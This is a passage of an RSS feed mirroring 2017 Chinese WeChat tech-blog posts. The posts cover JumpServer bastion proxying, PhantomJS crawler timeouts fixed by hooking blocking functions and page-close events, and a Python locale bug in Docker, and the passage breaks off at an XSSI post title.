src="https://wechat2rss.xlab.app/img-proxy/?k=130004b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQlrpadibe7thIBsdzefByH4hou6cicr5MqNApeAHYBtrH3oHItMdiaCZjsySicgibj9QkuD80olHArLBXA%2F0%3Fwx_fmt%3Djpeg"/></p><p><span class="Apple-converted-space"></span></p><p><span class="Apple-converted-space"></span></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">堡垒机在这里完全可以理解为一个代理。从始至终，你都没有真正连接到你的开发机的terminal。堡垒机先读取用户输入，做一些不可见人的事情（命令监控）后，发送给指定的开发机，然后读取开发机的输出，再输出给用户。</p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">弄清楚这个过程之前，需要区分几个概念：</p><ul style="" class=" list-paddingleft-2"><li><p>Interactive Console: 交互式命令行，常见的有<span class="Apple-converted-space"> </span><code style="box-sizing: border-box;">Chrome Console</code>、<code style="box-sizing: border-box;">Python Console</code>、<span class="Apple-converted-space"> </span><code style="box-sizing: border-box;">Linux Terminal</code>等</p></li><li><p>SSH: 只是一个通信协议，经常用来连接<code style="box-sizing: border-box;">Linux Terminal</code></p></li><li><p>Linux Terminal: 交互式命令行的一种</p></li></ul><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);"><br/></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">ssh连接堡垒机，实际只是连接到了堡垒机的某个守护进程的交互式命令行，跟堡垒机的Linux Terminal没有关系，堡垒机的 /etc/passwd 中也没有你的账号。</p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">选择了开发机并连接成功后，和你进行交互的还是堡垒机的交互式命令行。堡垒机通过SSH连接到了开发机的Linux Terminal，读取你的输入发送给开发机的Terminal，然后再读取Terminal的输出发送给你。</p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">有续篇还是没续篇，这是一个问题。</p><h3 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;line-height: 1.43;font-size: 1.5em;font-weight: bold;color: rgb(51, 51, 51);">参考资料</h3><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);"><span style="color: rgb(51, 51, 51);">jumpserver: </span><a href="https://github.com/jumpserver/jumpserver/wiki/v0.4.0-%E5%BA%94%E7%94%A8%E5%9B%BE%E8%A7%A3" target="_blank">https://github.com/jumpserver/jumpserver/wiki/v0.4.0-%E5%BA%94%E7%94%A8%E5%9B%BE%E8%A7%A3</a></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">coco: <a href="https://github.com/jumpserver/coco" target="_blank">https://github.com/jumpserver/coco</a></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);"><span style="color: rgb(51, 51, 51);">jms: </span><a href="https://github.com/jumpserver/jumpserver-python-sdk" target="_blank">https://github.com/jumpserver/jumpserver-python-sdk</a></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);"><br/></p><p><br style="box-sizing: border-box;color: rgb(51, 51, 51);"/></p><p><br/></p>



<p><a href="https://github.com/jumpserver/jumpserver">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7ea00547&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjIxNzkyNQ%3D%3D%26mid%3D2247483738%26idx%3D1%26sn%3De9bd12bcda7122a47f0d380fd7a57173%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 29 Dec 2017 09:58:00 +0800</pubDate>
    </item>
    <item>
      <title>动态爬虫 漏抓案例(四)</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjIxNzkyNQ==&amp;mid=2247483730&amp;idx=1&amp;sn=df43c88a5e6bc1b58c06e236e01b8cda</link>
      <description>没错，我还活着</description>
      <content:encoded><![CDATA[<p>
<span>Fr1day</span> <span>2017-09-21 19:52</span> <span style="display: inline-block;"></span>
</p>

<p>没错，我还活着</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e32e8e74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQkuSTVia5j82licEYOEmUCiaGbR7GjIicGqFWlrHQBnQrxLrnzbu7ukb2ZbAicS3TLweE5oIfCvxvqYnuw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p>没错，在拔了一颗智齿，害死了三株刚开花的向日葵，停更10天之后，我还活着。</p><p><br/></p><p>今天还是讲动态爬虫的漏抓案例。(<img style="white-space: normal;display: inline-block;width: 20px;vertical-align: text-bottom;" data-ratio="1" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=544cbc1c&amp;u=https%3A%2F%2Fres.wx.qq.com%2Fmpres%2Fhtmledition%2Fimages%2Ficon%2Fcommon%2Femotion_panel%2Femoji_wx%2F2_05.png"/>干脆跳槽专门写爬虫算了)</p><p><br/></p><p>一句话总结: <strong>为了防止阻塞，除了 alert/prompt/confirm，你还得 Hook 更多的函数。</strong></p><p><br/></p><p>BadCase:<br/></p><p>&lt;a onclick=show()&gt;test&lt;/a&gt;</p><p>&lt;script type=&#34;text/javascript&#34;&gt;</p><p>    function show(){</p><p>        window.showModalDialog(&#34;another_page.html&#34;);</p><p>    }</p><p>&lt;/script&gt;</p><p><br/></p><p>window.showModalDialog 是早期浏览器使用比较频繁的函数，用来弹出一个新页面，并且是<strong>阻塞执行</strong>的（所以造成爬虫超时被强行杀进程）。后来被 window.open 函数替代。替换的原因有：</p><ul class=" list-paddingleft-2" style="list-style-type: disc;"><li><p>showModalDialog 没有导航栏，无法进行后退、前进、收藏等操作</p></li><li><p>showModalDialog debug非常复杂（只能用alert调试法 2333）</p></li><li><p>名字又长又难记（迷之猜测）</p></li></ul><p><br/></p><p>下图为正常打开的页面与 showModalDialog 打开的页面比较：</p><p><img data-s="300,640" data-type="png" data-w="2178" class="" data-ratio="0.4756657483930211" src="https://wechat2rss.xlab.app/img-proxy/?k=8c86dbb5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQkuSTVia5j82licEYOEmUCiaGbVXh2rQraCJuqibSAicY2uEUCqTqNxG1yxiaD1QYJ6KtghdhIhcUSyQvpg%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>目前Chrome最新版已经不支持这个函数了，但Firefox、Safari、IE仍然支持。毫无意外的 PhantomJS 也支持。解决方案很简单，直接 Hook 函数就可以了：</p><p><img data-s="300,640" data-type="png" data-w="1140" class="" data-ratio="0.14736842105263157" src="https://wechat2rss.xlab.app/img-proxy/?k=fdcaa0b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQkuSTVia5j82licEYOEmUCiaGbEia6P54xh6X4fVLib3Sh4icS9XPWfFxz7vAoK6Moc4RPvWWPiciaRfujJEg%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>这样的话，加上最开始就被 Hook 的 alert/prompt/confirm，现在已经 Hook 了四个可能会引起阻塞的函数了，<strong>是不是还有其他隐藏的存在呢</strong>？</p><p><br/></p><p>写个脚本来检查下： </p><p>var page = require(&#39;webpage&#39;).create();</p><p>page.onConsoleMessage = function(msg) {</p><p>    console.log(&#39;&gt; &#39; + msg );</p><p>    return true;</p><p>};</p><p>page.open(&#34;<a href="http://127.0.0.1:8082" target="_blank">http://127.0.0.1:8082</a>&#34;, &#34;GET&#34;, &#34;&#34;, function (status) {</p><p>    console.log(status);</p><p>    page.evaluateAsync(function(){</p><p>        for(var i in window){</p><p>            try {</p><p>                if (typeof eval(&#34;window.&#34; + i) != &#34;function&#34;) {</p><p>                    continue</p><p>                }</p><p>            }catch (e){</p><p>            }</p><p>            // if(i in {&#34;showModalDialog&#34;: &#34;1&#34;}){</p><p>            //     continue</p><p>            // }</p><p>            try{</p><p>                console.log(i)</p><p>                eval(&#34;(function(){&#34; + i + &#34;();})()&#34;);</p><p>            }</p><p>            catch (e){</p><p>                // console.log(e)</p><p>            }</p><p>        }</p><p>    }, 10)</p><p>}); </p><p><br/></p><p>用 PhantomJS 加载任意页面，然后遍历 window 对象。首先出现阻塞卡顿的函数是 showModalDialog，再次运行脚本，跳过 showModalDialog 函数，然后....</p><p><br/></p><p><img data-s="300,640" data-type="jpeg" style="width: 266px;height: 205px;" class="" data-ratio="0.7712765957446809" data-w="752" width="266" height="205" src="https://wechat2rss.xlab.app/img-proxy/?k=6fd194d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQlEUKfU20d8ibwh4aq0seT6o0tmNKO50oA5nPCLlUlY3uNrhOYBgU0zeQAkQV1Dgg3Pww0fAYxLhqw%2F0%3Fwx_fmt%3Djpeg"/></p><p>顺畅的运行完成，说好的 alert/prompt/confirm 函数导致的阻塞呢？</p><p><br/></p><p>复制脚本到浏览器中运行，倒是成功复现了 alert/prompt/confirm/print 导致的阻塞： </p><p><img data-s="300,640" data-type="png" data-w="1762" class="" data-ratio="0.5822928490351873" src="https://wechat2rss.xlab.app/img-proxy/?k=7e329d87&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQkuSTVia5j82licEYOEmUCiaGbcF8VMlic2tJicNiaVBwJCOAV70nibDfXicHicm8cmQvZXia3fY8OlHKtBpMhA%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>分析原因，应该是PhantomJS在封装onAlert、onPrompt、onConfirm接口的时候就对这几个可能产生阻塞的函数做了处理。</p><p><br/></p><p>同样的原理，可以套用在其他的动态解析器上。举个栗子，<strong>在Chrome Headless里需要 Hook 哪些接口，你现在知道了吗？</strong></p><p><br/></p><p>参考资料：</p><p><a href="https://stackoverflow.com/questions/20733962/why-is-window-showmodaldialog-deprecated-what-to-use-instead" target="_blank">https://stackoverflow.com/questions/20733962/why-is-window-showmodaldialog-deprecated-what-to-use-instead</a></p><p><br/></p>



<p><a href="2247483730">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9e0b088b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjIxNzkyNQ%3D%3D%26mid%3D2247483730%26idx%3D1%26sn%3Ddf43c88a5e6bc1b58c06e236e01b8cda%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 21 Sep 2017 19:52:00 +0800</pubDate>
    </item>
    <item>
      <title>动态爬虫漏抓 案例分析(三)</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjIxNzkyNQ==&amp;mid=2247483723&amp;idx=1&amp;sn=9a6b5e2a9501eb0332a1125cb0ea5a06</link>
      <description>还有更好的解决方案吗？</description>
      <content:encoded><![CDATA[<p>
<span>Fr1day</span> <span>2017-09-07 20:04</span> <span style="display: inline-block;"></span>
</p>

<p>还有更好的解决方案吗？</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c009f14d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQlEUKfU20d8ibwh4aq0seT6ol1P4fI96W0pEbSCIdOMlstklia0dVEgTGXcm2iaibXVAzvmMiajsFiaobkg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p>最近忙着当码农，不debug也没遇到有意思的案例，只能分享个以前发现的漏抓案例~</p><p><br/></p><p>案例URL: <span style="white-space: nowrap;"><a href="https://lvyou.baidu.com/main/event/rank" target="_blank">https://lvyou.baidu.com/main/event/rank</a></span></p><p><br/></p><p>说是漏抓，实际上是动态分析超时导致没有结果返回。</p><p><br/></p><p>动态爬虫里触发行内绑定事件的代码如下：</p><p><img data-s="300,640" data-type="png" data-w="938" class="" data-ratio="0.42430703624733473" src="https://wechat2rss.xlab.app/img-proxy/?k=07db39ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQlEUKfU20d8ibwh4aq0seT6ody22feibVl0Z7uL0wxMicv1zDePdD5kOXvibP8oslnHuiaErrRYvJCTYVw%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>逻辑是遍历所有的节点的所有属性，执行以on开头的属性值，即 onclick=alert(1) 这种。</p><p><br/></p><p>但是抓取上面案例的时候，发现一直没有返回结果，使用伟大的print调试法打印了触发的具体内容后，<strong>发现页面一直在不停的触发同一个事件。</strong></p><p><img data-s="300,640" data-type="png" data-w="510" class="" data-ratio="0.4980392156862745" src="https://wechat2rss.xlab.app/img-proxy/?k=5750625c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQlEUKfU20d8ibwh4aq0seT6otPvkb2szLU5ck4Hoq0Xlo8FNLzyZzfcnzAncXfziciaPQkQiaUCgjcpIA%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>for循环竟然会失效？<img data-s="300,640" data-type="jpeg" data-w="110" class="" data-ratio="0.9727272727272728" src="https://wechat2rss.xlab.app/img-proxy/?k=a93cd704&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQlEUKfU20d8ibwh4aq0seT6oDmatwANY5IWqQicicDksLKKRKibrs5w3amWGITNTdfbD9GRbibRCE1waPg%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p>仔细看下页面源码：</p><p><img data-s="300,640" data-type="png" data-w="2098" class="" data-ratio="0.6863679694947569" src="https://wechat2rss.xlab.app/img-proxy/?k=185937af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQlEUKfU20d8ibwh4aq0seT6ogiaCblP8S0r1NJUsI4EdkHibJE4bzx37MNGTGflRVL19KA0l07e6BOLQ%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>登录应该是用JSONP来实现的，每次点击登录都会生成一个script标签，而且这个标签恰好还插入在了登录标签前面。</p><p><br/></p><p><strong>遍历数组的过程中，也在不断扩展这个数组</strong>。这就是问题的关键。</p><p><br/></p><p><br/></p><p>那应该怎么解决呢？本帅选了个比较蠢的方法：</p><p><img data-s="300,640" data-type="png" data-w="970" class="" data-ratio="0.5010309278350515" src="https://wechat2rss.xlab.app/img-proxy/?k=f24014a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQlEUKfU20d8ibwh4aq0seT6o9pA9LBl8Va856QXkv957aDmJx09UGzAOIZze2eFQTUTic4FBK3giaLfg%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>看起来不是很优雅，或许你还有更好的方法？</p><p><img data-s="300,640" data-type="jpeg" style="width: 249px; height: 192px;" class="" data-ratio="0.7712765957446809" data-w="752" width="249" height="192" src="https://wechat2rss.xlab.app/img-proxy/?k=6fd194d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQlEUKfU20d8ibwh4aq0seT6o0tmNKO50oA5nPCLlUlY3uNrhOYBgU0zeQAkQV1Dgg3Pww0fAYxLhqw%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p>



<p><a href="2247483723">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2b760a2d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjIxNzkyNQ%3D%3D%26mid%3D2247483723%26idx%3D1%26sn%3D9a6b5e2a9501eb0332a1125cb0ea5a06%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 07 Sep 2017 20:04:00 +0800</pubDate>
    </item>
    <item>
      <title>动态爬虫漏抓的案例分析(二)</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjIxNzkyNQ==&amp;mid=2247483713&amp;idx=1&amp;sn=909e2a268af31b02f0f951893b388453</link>
      <description>又一发漏抓案例</description>
      <content:encoded><![CDATA[<p>
<span>Fr1day</span> <span>2017-09-04 20:06</span> <span style="display: inline-block;"></span>
</p>

<p>又一发漏抓案例</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=079f9f51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQl0Kkf6Q4rAx7CzuV5calwGDjwNggrIxnzP0icBDgI4VvVYIE2Bibgws8mQuz1QnGf4vvnrlUsI94hw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">遇到的问题： phantomjs解析的时候，超时严重导致漏抓。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">简化页面内容如下：<img data-s="300,640" data-type="png" data-w="1538" class="" data-ratio="0.2756827048114434" src="https://wechat2rss.xlab.app/img-proxy/?k=9a910692&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQl0Kkf6Q4rAx7CzuV5calwGhlvygFCGPns36cJeMXbBYlcaILjtPY4gib2UUAB8ichJXZkC2WIibA1zw%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">通过伟大的注释调试法，可以发现问题在这行代码里：<img data-s="300,640" data-type="png" data-w="1350" class="" data-ratio="0.09333333333333334" src="https://wechat2rss.xlab.app/img-proxy/?k=8f402c4d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQl0Kkf6Q4rAx7CzuV5calwGzMSPk4FTEt3vvibOUrDzwXDajnlO0cRTMjiamyqJUbZh0XBHL9CSc01g%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">动态分析时会主动去执行行内绑定的代码，即：<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">window.close()</code>。<strong>关闭了页面之后，PhantomJS后续绑定的事件都会失效，比如<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">page.evaluate</code>、<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">page.onCallback</code>、<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">phantom.exit</code></strong>。没有执行exit函数，一直阻塞导致触发python的超时——狗带。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><strong>修复方案：</strong><br style="box-sizing: border-box;"/>在执行关闭页面的时候，PhantomJS的<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">onClosing</code>事件可以收到通知，示例代码如下:</p><p><img data-s="300,640" data-type="png" data-w="1092" class="" data-ratio="0.14285714285714285" src="https://wechat2rss.xlab.app/img-proxy/?k=2301ffd5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQl0Kkf6Q4rAx7CzuV5calwGSHj41OcrxA3F8KF0qicyLsMg9wTWN7HqGegk3xZYQictEibTTF7PnjjcQ%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">还可以通过Hook来解决这个问题：</p><p><img data-s="300,640" data-type="png" data-w="1018" class="" data-ratio="0.12180746561886051" src="https://wechat2rss.xlab.app/img-proxy/?k=ae546e16&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQl0Kkf6Q4rAx7CzuV5calwGFTia1rETfSUqkTlCww4N4bD1kjHYVibnnqFmSoaChDNHmgiagtSy7J8MA%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>案例代码：</p><p>&lt;script type=&#34;text/javascript&#34; language=&#34;javascript&#34;&gt;</p><p>function BtnPsw_onclick() {</p><p><span style="white-space:pre">	</span>window.open(&#34;../Login/UpdatePass&#34;)</p><p>} </p><p>&lt;/script&gt;</p><p>&lt;form name=&#34;form1&#34; method=&#34;post&#34; action=&#34;&#34; id=&#34;form1&#34;&gt;</p><p><span style="white-space:pre">	</span>用户名：&lt;input name=&#34;UserName&#34; type=&#34;text&#34; id=&#34;UserName&#34; class=&#34;logintext&#34;&gt;&lt;br/&gt;</p><p><span style="white-space:pre">	</span>密码: &lt;input name=&#34;Password&#34; type=&#34;password&#34; id=&#34;Password&#34; class=&#34;logintext&#34;&gt;&lt;br/&gt;</p><p><span style="white-space:pre">	</span>&lt;input type=&#34;hidden&#34; name=&#34;__VIEWSTATE&#34; id=&#34;__VIEWSTATE&#34; value=&#34;1222&#34;&gt;</p><p><span style="white-space:pre">	</span>&lt;input name=&#34;LoginButton&#34; type=&#34;button&#34; id=&#34;LoginButton&#34; value=&#34;登 录&#34; class=&#34;lbotton&#34;&gt;</p><p><span style="white-space:pre">	</span>&lt;input name=&#34;login&#34; type=&#34;button&#34; value=&#34;退 出&#34; class=&#34;lbotton&#34; onclick=&#34;window.close()&#34;&gt;</p><p><span style="white-space:pre">	</span>&lt;input name=&#34;UpdatePwd&#34; type=&#34;button&#34; value=&#34;修改密码&#34; class=&#34;lbotton&#34; onclick=&#34;BtnPsw_onclick()&#34;&gt;</p><p>&lt;/form&gt;</p><p><br/></p><p style=" box-sizing: border-box; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">上次推送的文章因为关键字被干掉了，改天我折腾好博客再发吧...hexo搞起来心好累...</p><p><br/></p>



<p><a href="2247483713">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=63cd0cd1&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjIxNzkyNQ%3D%3D%26mid%3D2247483713%26idx%3D1%26sn%3D909e2a268af31b02f0f951893b388453%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 04 Sep 2017 20:06:00 +0800</pubDate>
    </item>
    <item>
      <title>docker + 扫描器 == 蜜汁Bug?</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjIxNzkyNQ==&amp;mid=2247483689&amp;idx=1&amp;sn=d4b433b5014e3d55db7a5eea2d61a6f2</link>
      <description>~\(≧▽≦)/~ 八哥你走开！</description>
      <content:encoded><![CDATA[<p>
<span>Fr1day</span> <span>2017-08-29 20:50</span> <span style="display: inline-block;"></span>
</p>

<p>~\(≧▽≦)/~ 八哥你走开！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=777730e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQl76TlQgTKlSzA84RLSGh6cia7DYsm4ibpHdvOWJQU06RAXSfG31ocibp7xXAJic7YUCPOU9LG2SXfz3g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="white-space: normal;">为了方便分布式，扫描器的运行环境用Dockerfile编译的。测试的时候是mac + python3.5.3，本地测试完成上线（docker ubuntu + python3.5.2）后，发现报错（下图为部分报错信息）：</p><p style="white-space: normal;"><img data-s="300,640" data-type="png" data-w="1548" class="" data-ratio="0.14857881136950904" src="https://wechat2rss.xlab.app/img-proxy/?k=45a0c4e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQl76TlQgTKlSzA84RLSGh6chBLqM0uBfv1yDaO51z5MKkuDgico2FqZAbpShZh8wDxr6fhibqDYdMqg%2F0%3Fwx_fmt%3Dpng"/></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;">似乎是因为URL里有中文，才导致的转码失败。但老夫已经聊发少年狂，从Python2 切换到了 Python3，为何还会有这种错误？！</p><p style="white-space: normal;"><br/></p><p style="white-space: normal;">为了方便测试，把报错的代码单独拉出来，如下：</p><p style="white-space: normal;"><img data-s="300,640" data-type="png" data-w="1322" class="" data-ratio="0.5310136157337367" src="https://wechat2rss.xlab.app/img-proxy/?k=7b649ba5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQl76TlQgTKlSzA84RLSGh6cSUpzBawjwPicLdFeJmeW8hMyK6MBXja5EibCc2lMuqWAKzy5CyXOrPSA%2F0%3Fwx_fmt%3Dpng"/></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;">但在复现漏洞的时候，发现漏洞只能在docker的运行环境里复现，mac + python3.5.3 和 ubuntu + python 3.5.2都不存在问题。</p><p style="white-space: normal;"><br/></p><p style="white-space: normal;">一番搜索之后，找到了问题所在：</p><p style="white-space: normal;"><img data-s="300,640" data-type="png" style="height: 347px; width: 597px;" class="" data-ratio="0.5805892547660312" data-w="1154" width="597" height="347" src="https://wechat2rss.xlab.app/img-proxy/?k=a67c3c9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQl76TlQgTKlSzA84RLSGh6cGl0R51SgaeugNFofRraQfj0VP4en8MibU5SUQBA13WnoUWy7jlJc4FA%2F0%3Fwx_fmt%3Dpng"/></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;">在mac下执行同样的命令：</p><p style="white-space: normal;"><img data-s="300,640" data-type="png" style="height: 197px; width: 469px;" class="" data-ratio="0.4194260485651214" data-w="906" width="469" height="197" src="https://wechat2rss.xlab.app/img-proxy/?k=40f00017&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQl76TlQgTKlSzA84RLSGh6cticQy8gHGq6FbialbVF1H52CnZsTAdtJPRibIy4zEQExEhHYcmXq9OGKg%2F0%3Fwx_fmt%3Dpng"/></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;">Python 的编码问题一直饱受诟病。虽然在Python3的版本做了一些变动，默认编码形式由 ASCII 改为 utf-8。<strong>但在与操作系统底层进行交互（subprocess.Popen）的时候，还是会调用系统的编码。</strong>而我们传进去的中文是以 utf-8 进行编码的，在docker运行环境里，系统默认编码为 ANSIX_X3.4-1968，所以导致了解码错误。</p><p style="white-space: normal;"><br/></p><p style="white-space: normal;">解决方案：</p><p style="white-space: normal;">1）从dockerfile编译镜像的时候指定系统编码</p><p style="white-space: normal;"><img data-s="300,640" data-type="png" style="height: 142px; width: 533px;" class="" data-ratio="0.26649076517150394" data-w="758" width="533" height="142" src="https://wechat2rss.xlab.app/img-proxy/?k=c4c9f836&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQl76TlQgTKlSzA84RLSGh6calBHFSKlXahUu9C9licoPKQiaPTh8IMCjE1RSKcAbM2IFXnbibnZGk8vA%2F0%3Fwx_fmt%3Dpng"/></p><p style="white-space: normal;">2）给subprocess传参的时候，先转码为bytes格式（绕过系统的编码转换过程）</p><p style="white-space: normal;"><img data-s="300,640" data-type="png" style="height: 52px; width: 555px;" class="" data-ratio="0.09421841541755889" data-w="934" width="555" height="52" src="https://wechat2rss.xlab.app/img-proxy/?k=b9538d28&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQl76TlQgTKlSzA84RLSGh6cbD2dItsY0RiaTCGPIXpjeJTWsBrPyAxUib1MK9t6uMXlBHkcbd61qqlQ%2F0%3Fwx_fmt%3Dpng"/></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;">参考资料：</p><p style="white-space: normal;"><a href="https://www.binss.me/blog/solve-problem-of-python3-raise-unicodeencodeerror-when-print-utf8-string/" target="_blank">https://www.binss.me/blog/solve-problem-of-python3-raise-unicodeencodeerror-when-print-utf8-string/</a></p><p style="white-space: normal;"><a href="https://askubuntu.com/questions/581458/how-to-configure-locales-to-unicode-in-a-docker-ubuntu-14-04-container" target="_blank">https://askubuntu.com/questions/581458/how-to-configure-locales-to-unicode-in-a-docker-ubuntu-14-04-container</a></p><p style="white-space: normal;"><span style="white-space: nowrap;"><a href="http://www.jianshu.com/p/5682a0e0a9ba" target="_blank">http://www.jianshu.com/p/5682a0e0a9ba</a></span></p><p><br/></p>



<p><a href="2247483689">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2c95caef&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjIxNzkyNQ%3D%3D%26mid%3D2247483689%26idx%3D1%26sn%3Dd4b433b5014e3d55db7a5eea2d61a6f2%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 29 Aug 2017 20:50:00 +0800</pubDate>
    </item>
    <item>
      <title>浅谈XSSI漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjIxNzkyNQ==&amp;mid=2247483679&amp;idx=1&amp;sn=8e3f267c1390d00aec44c1464d9c7136</link>
      <description>一篇虎头蛇尾的番外</description>
      <content:encoded><![CDATA[<p>
<span>Fr1day</span> <span>2017-08-27 19:31</span> <span style="display: inline-block;"></span>
</p>

<p>一篇虎头蛇尾的番外</p>
<p></p>



<p>
